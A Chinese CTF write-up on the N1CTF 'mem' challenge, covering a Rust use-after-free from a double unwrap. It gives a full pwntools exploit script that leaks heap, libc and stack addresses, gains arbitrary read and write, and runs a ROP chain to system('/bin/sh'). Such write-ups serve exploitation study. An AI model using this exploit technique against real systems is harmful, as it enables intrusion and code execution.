jemalloc-exploit

这篇文章是N1CTF的mem题目的一个总结,实际上很早以前就想写了,但是一直拖...我的拖延癌已经没救了...

finding bug

这个题目的漏洞我当时是没有找到的,在看了其他队伍的wp之后才知道这个题目的漏洞点在哪...实际上这个漏洞是在rust低版本编译器中的一个漏洞,因为在编译的时候没有对if else中的unwrap进行处理,所以导致一次unwrap之后还可以在之后函数中继续unwrap

read source code

首先我们来阅读一下rustc写的代码,还是比较容易读懂的

jemalloc-exploit_第1张图片

主要的逻辑在calculator这个函数里面,一开始就可以输入命令,主要的命令只有exit和check。如果输入的命令不是这两个,那么就会调用 Parser类来对输入进行parse,之后在parse里面执行了

self.parse()
self.eval_one()

在eval里面对输入进行了执行编译,先存入了栈中,之后通过栈来一步步的执行。在parse过程完成了之后会生成输入的类型,根据不同的输入类型再进行处理。

Num

对数字的处理分为两种,一种是当输入是0x1337的时候,另一种是当输入为普通数字的时候。

Str

当输入是str的时候,分为长度大于100和长度小于100的两种进行处理

Vec

这个地方比较的关键,UAF就是在这个地方发生的。可以看到在比较这个vec的大小的时候首先把rescve进行了unwrap(),之后如果这个vec的长度超过了100在处理的时候执行了let mut k = resvec.unwrap()这个时候就会将resvec再unwrap()一次。

jemalloc-exploit_第2张图片

所以这个k就变成了一个free过的chunk的地址

Exploit

这个challenge的exploit实际上就是一般的UAF利用,和JS的exploit方法也很相似修改array的地址和idx做到任意读写

  1. clone()重利用已经被free的chunk,把里面变成vec的控制chunk
  2. 通过修改global vec的地址来做到任意读
  3. 通过修改global vec来做到任意写
  4. 通过environ泄露stackaddr
  5. 修改__libc_main的ret做ROP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import *

binary = './main'
elf = ELF(binary)
libc = elf.libc

io = process(binary)
context.log_level = 'debug'
pause()

def calc(x):
    io.recvuntil(">>> ")
    io.sendline(x)

def command(idx):
    io.recvuntil("$ ")
    io.sendline(str(idx))

def store(yn = 'n'):
    io.recvuntil("(y/n)")
    io.sendline(yn)

calc(repr([9] * 8))
for i in range(10):
    command(4) # set global
command(0) # exit
store()

# uaf caused by unwrap
calc(repr([1] * 120))
command(8) # clone vec
io.recvuntil("=>")
io.sendline('2') # idx

def getnumber(idx):
    command(6)
    io.recvuntil("number:")
    io.sendline(str(idx))
    io.recvuntil("Result:")
    return int(io.recvuntil("\n")[:-1])

c32 = lambda x: c_uint32(x).value
s32 = lambda x: c_int32(x).value
qword = lambda l,h: c32(l) + (c32(h) << 32)

heap_addr = qword(getnumber(0), getnumber(1))
print hex(heap_addr)
heap_base = heap_addr - 0x1e100
io_file = heap_base + 0x15000

def setaddr(addr):
    command(7)
    io.recvuntil(" => ")
    io.sendline('0')
    io.recvuntil(" => ")
    io.sendline(str(s32(addr & 0xFFFFFFFF)))
    command(7)
    io.recvuntil(" => ")
    io.sendline('1')
    io.recvuntil(" => ")
    io.sendline(str(s32(addr >> 32)))
    return

def read64(addr):
    setaddr(addr)
    command(9)
    io.recvuntil("=>")
    io.sendline('0') # idx
    io.recvuntil("=>")
    io.sendline('0') # idy
    io.recvuntil("=>")
    io.sendline('119') # idz
    low = getnumber(119)
    command(9)
    io.recvuntil("=>")
    io.sendline('0') # idx
    io.recvuntil("=>")
    io.sendline('1') # idy
    io.recvuntil("=>")
    io.sendline('119') # idz
    hi = getnumber(119)
    return qword(c32(low), c32(hi))


vtable = read64(io_file + 0xd8)
print hex(vtable)
func_addr = read64(vtable + 0x10)
libc = func_addr - 0x799c0
print hex(libc)
environ = libc + 0x3c6f38
stack_addr = read64(environ) - 896 + 0x20
system = libc + 0x45390
binsh = libc + 1625367
poprdi = libc + 0x0000000000021102
setaddr(stack_addr)
#print hex(stack_addr)
command(0)
store()

pause()

# arb write
calc(str(0x13337))
def writes32(index, val):
    command(6)
    io.sendline(str(s32(val & 0xFFFFFFFF)))
    command(5)
    command(9)
    io.recvuntil("=>")
    io.sendline(str(0))
    io.recvuntil("=>")
    io.sendline(str(index))
    return

def writes64(index, val):
    writes32(index, val & 0xFFFFFFFF)
    writes32(index + 1, val >> 32)
    return

writes64(0, poprdi)
writes64(2, binsh)
writes64(4, system)
command(0)
store()


# pop shell
calc("exit")

io.interactive()

你可能感兴趣的:(jemalloc-exploit)